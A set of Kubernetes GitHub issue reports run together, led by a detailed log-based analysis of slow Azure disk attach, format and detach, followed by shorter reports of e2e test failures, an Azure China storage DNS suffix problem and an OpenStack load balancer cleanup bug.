test-azure-disk-3967202423-wftda_default e78c2a9a-9695-11e6-9f69-000d3af74706 \  oct 20 07:22:06 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:06.241400    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:06 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:06.241774    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:06.741744995 +0000 utc  durationbeforeretry 500ms . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   has not yet been added to the list of volumesinuse in the node's volume status. oct 20 07:22:06 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:06.742336    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:06 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:06.742511    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:07.742490643 +0000 utc  durationbeforeretry 1s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   has not yet been added to the list of volumesinuse in the node's volume status. oct 20 07:22:07 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:07.744575    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:07 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:07.744818    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:09.744789506 +0000 utc  durationbeforeretry 2s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   has not yet been added to the list of volumesinuse in the node's volume status. oct 20 07:22:09 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:09.750383    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:09 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:09.750613    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:13.750587388 +0000 utc  durationbeforeretry 4s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   has not yet been added to the list of volumesinuse in the node's volume status. oct 20 07:22:13 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:13.758182    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:13 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:13.761167    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:21.761148159 +0000 utc  durationbeforeretry 8s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   is not yet attached according to node status. oct 20 07:22:21 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:21.780772    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:21 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:21.783591    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:22:37.783560355 +0000 utc  durationbeforeretry 16s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   is not yet attached according to node status. oct 20 07:22:37 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:37.818016    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:22:37 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:22:37.826516    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:23:09.826496865 +0000 utc  durationbeforeretry 32s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   is not yet attached according to node status. oct 20 07:23:09 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:23:09.832175    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:23:09 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:23:09.835290    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:24:13.835271426 +0000 utc  durationbeforeretry 1m4s . error: volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   is not yet attached according to node status. oct 20 07:24:06 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:24:06.121963    4562 kubelet.go:1813  unable to mount volumes for pod \ test-azure-disk-3967202423-wftda_default e78c2a9a-9695-11e6-9f69-000d3af74706 \ : timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk ; skipping pod oct 20 07:24:06 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:24:06.122189    4562 pod_workers.go:184  error syncing pod e78c2a9a-9695-11e6-9f69-000d3af74706, skipping: timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk  oct 20 07:24:13 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:24:13.891073    4562 reconciler.go:225  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   oct 20 07:24:13 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:24:13.893908    4562 operation_executor.go:1074  controller successfully attached volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   devicepath: \ 0\         duration  :   we fail to attach in a timely fashion and it times out. the log indicates it retries the verifycontrollerattachedvolume every ~48 seconds or something... so we could be losing close to that much time potentially.      format/mount  kubelet on first node       oct 20 07:24:13 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:24:13.991382    4562 operation_executor.go:707  entering mountvolume.waitforattach for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\   devicepath: \ 0\  oct 20 07:24:13 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:24:13.991556    4562 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   to pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\  . oct 20 07:24:15 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:24:15.323181    4562 operation_executor.go:727  mountvolume.waitforattach succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\  . oct 20 07:24:15 k8s-agentpool1-27819504-1 docker 4276 : mounting arguments: /dev/sdc /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0 ext4  defaults  oct 20 07:26:16 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:26:16.896031    4562 kubelet.go:1813  unable to mount volumes for pod \ test-azure-disk-3967202423-wftda_default e78c2a9a-9695-11e6-9f69-000d3af74706 \ : timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk ; skipping pod oct 20 07:26:16 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:26:16.896211    4562 pod_workers.go:184  error syncing pod e78c2a9a-9695-11e6-9f69-000d3af74706, skipping: timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk  oct 20 07:28:28 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:28:28.896047    4562 kubelet.go:1813  unable to mount volumes for pod \ test-azure-disk-3967202423-wftda_default e78c2a9a-9695-11e6-9f69-000d3af74706 \ : timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk ; skipping pod oct 20 07:28:28 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:28:28.896076    4562 pod_workers.go:184  error syncing pod e78c2a9a-9695-11e6-9f69-000d3af74706, skipping: timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk  oct 20 07:30:39 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:30:39.896405    4562 kubelet.go:1813  unable to mount volumes for pod \ test-azure-disk-3967202423-wftda_default e78c2a9a-9695-11e6-9f69-000d3af74706 \ : timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk ; skipping pod oct 20 07:30:39 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:30:39.896434    4562 pod_workers.go:184  error syncing pod e78c2a9a-9695-11e6-9f69-000d3af74706, skipping: timeout expired waiting for volumes to attach/mount for pod \ test-azure-disk-3967202423-wftda\ /\ default\ . list of unattached/unmounted volumes= volume-azuredisk  oct 20 07:31:55 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:31:55.105097    4562 mount_linux.go:345  disk successfully formatted  mkfs : ext4 - /dev/sdc /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0        duration  : 7 minutes 42 seconds.  issue: https://github.com/kubernetes/kubernetes/issues/30752      second pod      unmount  kubelet on first node       oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:40:37.067917    4562 reconciler.go:184  unmountvolume operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   from pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\  . oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:40:37.084268    4562 operation_executor.go:877  unmountvolume.teardown succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   outervolumespecname: \ volume-azuredisk\   pod \ e78c2a9a-9695-11e6-9f69-000d3af74706\   uid: \ e78c2a9a-9695-11e6-9f69-000d3af74706\  . innervolumespecname \ volume-azuredisk\ . pluginname \ kubernetes.io/azure-disk\ , volumegidvalue \ \  oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:40:37.168334    4562 reconciler.go:329  unmountdevice operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:40:37.202029    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:40:37.702007148 +0000 utc  durationbeforeretry 500ms . error: unmountdevice.deviceopened failed for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   with: pathisdevice failed for path \ 0\ : stat 0: no such file or directory oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:40:37.769714    4562 reconciler.go:329  unmountdevice operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : w1020 07:40:37.771706    4562 mount.go:121  could not determine device for path: \ /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0\  oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : w1020 07:40:37.771786    4562 util.go:72  warning: unmount skipped because path does not exist: /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0 oct 20 07:40:37 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:40:37.771979    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:40:38.771960574 +0000 utc  durationbeforeretry 1s . error: unmountdevice.deviceopened failed for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   with: pathisdevice failed for path \ 0\ : stat 0: no such file or directory oct 20 07:40:38 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:40:38.772133    4562 reconciler.go:329  unmountdevice operation started for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   oct 20 07:40:38 k8s-agentpool1-27819504-1 docker 4276 : w1020 07:40:38.774233    4562 mount.go:121  could not determine device for path: \ /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0\  oct 20 07:40:38 k8s-agentpool1-27819504-1 docker 4276 : w1020 07:40:38.774255    4562 util.go:72  warning: unmount skipped because path does not exist: /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0 oct 20 07:40:38 k8s-agentpool1-27819504-1 docker 4276 : e1020 07:40:38.774311    4562 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07        duration  volume   : doesn't matter. it just keeps failing. it looks like eventually it stops after force detach and the next syncloop.      detach / attach  kube-controller-manager       i1020 07:40:06.089360       1 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ test-azure-disk-3967202423\ , uid:\ e78749bb-9695-11e6-9f69-000d3af74706\ , apiversion:\ extensions\ , resourceversion:\ 4577\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: test-azure-disk-3967202423-50h2n i1020 07:40:06.099943       1 deployment_controller.go:464  error syncing deployment default/test-azure-disk: operation cannot be fulfilled on deployments.extensions \ test-azure-disk\ : the object has been modified; please apply your changes to the latest version and try again i1020 07:40:06.225135       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  to node \ k8s-agentpool2-27819504-1\  e1020 07:42:06.651336       1 azure_storage.go:63  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:42:06.651382       1 azure_storage.go:67  failed to acquire disk lease, try detach i1020 07:42:24.046360       1 servicecontroller.go:284  ensuring lb for service default/test-azure-disk e1020 07:44:07.029595       1 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:44:07.529555273 +0000 utc  durationbeforeretry 500ms . error: failed to attach volume \ volume-azuredisk\  on node \ k8s-agentpool2-27819504-1\  with: attach volume \ kubetestdisk0\  to instance \ k8s-agentpool2-27819504-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:44:07.029739       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ test-azure-disk-3967202423-50h2n\ , uid:\ 6b4bc239-9698-11e6-9f69-000d3af74706\ , apiversion:\ v1\ , resourceversion:\ 5764\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ volume-azuredisk\  on node \ k8s-agentpool2-27819504-1\  with: attach volume \ kubetestdisk0\  to instance \ k8s-agentpool2-27819504-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:44:07.564970       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  to node \ k8s-agentpool2-27819504-1\  e1020 07:46:07.920605       1 azure_storage.go:63  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:46:07.920653       1 azure_storage.go:67  failed to acquire disk lease, try detach i1020 07:47:24.499866       1 servicecontroller.go:284  ensuring lb for service default/test-azure-disk e1020 07:48:08.231842       1 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/azure-disk/kubetestdisk0\\\ \  failed. no retries permitted until 2016-10-20 07:48:09.231811644 +0000 utc  durationbeforeretry 1s . error: failed to attach volume \ volume-azuredisk\  on node \ k8s-agentpool2-27819504-1\  with: attach volume \ kubetestdisk0\  to instance \ k8s-agentpool2-27819504-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:48:08.231989       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ test-azure-disk-3967202423-50h2n\ , uid:\ 6b4bc239-9698-11e6-9f69-000d3af74706\ , apiversion:\ v1\ , resourceversion:\ 5764\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ volume-azuredisk\  on node \ k8s-agentpool2-27819504-1\  with: attach volume \ kubetestdisk0\  to instance \ k8s-agentpool2-27819504-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'kubetestdisk0' using blob with uri https://tymdys675hn7smstr0.blob.core.windows.net/vhds/testdisk0123456.vhd. blob is already in use.\  i1020 07:48:09.295882       1 reconciler.go:138  started detachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  from node \ k8s-agentpool1-27819504-1\ . this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching i1020 07:50:09.615254       1 operation_executor.go:595  detachvolume.detach succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   from node \ k8s-agentpool1-27819504-1\ . i1020 07:50:09.651262       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  to node \ k8s-agentpool2-27819504-1\  i1020 07:52:10.012756       1 operation_executor.go:515  attachvolume.attach succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   from node \ k8s-agentpool2-27819504-1\ .        duration  new pod created -> volume detached from old node   : 8 minutes for k8s to start timeout logic  even though timeout was only 6 minutes  + 2 minutes to detach =   10 minutes    and then it just loops back around to the beginning.    bugs: - format takes 7 minutes:   30752 mkfs.ext4 is slow when run by kubelet  https://github.com/kubernetes/kubernetes/issues/30752  - unmount failing  contributes to 10-12 minute delay when pod moves :   - i filed this directly for that bug:   35176 azure disk: always times out waiting for unmount  https://github.com/kubernetes/kubernetes/issues/35176    - mentioned here:   31186 address open issues from \ azure data disk volume\  pr  https://github.com/kubernetes/kubernetes/issues/31186    - i think is meant to be fixed with this pr:   33660 rbd attach/detach refactoring  https://github.com/kubernetes/kubernetes/pull/33660  - related meta issue:   31186 address open issues from \ azure data disk volume\   https://github.com/kubernetes/kubernetes/issues/31186   i don't know that there needs to be direct action on this bug but i wanted a meta bug to track it and be able to point others to.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-kops-aws/1705/  failed:  k8s.io  disruptioncontroller should update poddisruptionbudget status {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:74 expected error:     < url.error | 0xc420d12a80>: {         op: \ post\ ,         url: \ https://api.e2e-kops-aws.test-aws.k8s.io/apis/policy/v1beta1/namespaces/e2e-tests-disruption-4bshj/poddisruptionbudgets\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 160, 90, 163 ,                 port: 443,                 zone: \ \ ,             },             err: {},         },     }     post https://api.e2e-kops-aws.test-aws.k8s.io/apis/policy/v1beta1/namespaces/e2e-tests-disruption-4bshj/poddisruptionbudgets: dial tcp 35.160.90.163:443: i/o timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:197       previous issues for this test:  34119

it appears that the api server is no longer able to talk to etcd after an upgrade. see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-1.4-gci-latest-upgrade-cluster-new/323?log log for an example.\r \r interesting bits from api server log:\r \r    console\r flag --address has been deprecated, see --insecure-bind-address instead.\r i0118 19:20:12.863023       5 gce.go:292  using gce provider config {global:{tokenurl: tokenbody: projectid: networkname: nodetags: bootstrap-e2e-minion  nodeinstanceprefix:bootstrap-e2e-minion multizone:false}}\r i0118 19:20:12.863122       5 gce.go:332  using existing token source &oauth2.reusetokensource{new:google.computesource{account:\ \ }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil }\r i0118 19:20:12.870362       5 server.go:173  initializing deserialization cache size based on 180mb limit\r w0118 19:20:12.872125       5 config_selfclient.go:44  failed to create secure local client, falling back to insecure local connection: failed to find certificate which matches \ localhost\ \r i0118 19:20:12.873151       5 server.go:331  initializing cache sizes based on 180mb limit\r f0118 19:20:12.878547       5 master.go:271  error building core storage: open /etc/srv/kubernetes/kubeapiserver.cert: no such file or directory\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2481/ failed:  k8s.io  downward api volume should provide podname as non-root with fsgroup and defaultmode  feature:fsgroup   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:98 expected error:     < errors.errorstring | 0xc4202015b0>: {         s: \ failed to get logs from metadata-volume-690ceb28-07ac-11e7-9ac2-42010a80002a for client-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods metadata-volume-690ceb28-07ac-11e7-9ac2-42010a80002a \ ,     }     failed to get logs from metadata-volume-690ceb28-07ac-11e7-9ac2-42010a80002a for client-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods metadata-volume-690ceb28-07ac-11e7-9ac2-42010a80002a  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   \r no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubernetes  https://github.com/kubernetes/kubernetes/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubernetes, azure file, chinacloudapi\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r  bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  : azure.cn\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r we try to mount azure file to pod, and get the following error\r > output: mount error: could not resolve address for foo .file.core.windows.net: unknown error\r \r that is because azure china's storage dns suffix is  core.chinacloudapi.cn  rather than  core.windows.net \r \r   what you expected to happen  :\r kubernetes should provide some method to let user specify storage dns suffix, so we can use azure file volume \r \r   how to reproduce it    as minimally and precisely as possible :\r \r any azure cluster in china can reproduce it.\r \r   anything else we need to know  :\r kubernetes has hard coded  core.windows.net  in https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_file/azure_file.go l210\r \r  12904  shows a relative issue

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r load balancer in openstack isn't removed after removing a load balancer service and results in an error in the controller manager:  service_controller.go:749  failed to process service. retrying in 5s: json: cannot unmarshal string into go struct field loadbalancer.listeners of type listeners.listener \r \r   what you expected to happen  :\r \r the load balancer should be removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r boot up kubernetes cluster with openstack cloud provider enabled. add a load balancer service  this will create the load balancer in openstack  and delete it after the load balancer came online. the load balancer won't be removed.\r \r   anything else we need to know?  :\r \r cloud.conf\r    \r  global \r auth-url=https://identity.openstack.xxx\r username=xxx\r password=xxx\r region=xxx\r tenant-name=xxx\r domain-name=default\r  loadbalancer \r lb-version=v2\r subnet-id=8158a9f6-cd0b-41f3-98d1-c08b9c0a82b0\r floating-network-id=f9c73cd5-9e7b-4bfd-89eb-c2f4f584c326\r lb-method=round_robin\r create-monitor=true\r monitor-delay=30s\r monitor-timeout=10s\r monitor-max-retries=3\r manage-security-groups=true\r node-security-group=84f30c37-d20d-49d9-8e0d-bb83799928c3\r  route \r router-id=fc8e79c7-4159-44d2-88bc-d5689e2e3c3c\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  openstack \r - os  e.g. from /etc/os-release :  centos linux 7  core    3.10.0-693.5.2.el7.x86_64 \r - kernel  e.g.  uname -a  :  linux xxx 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 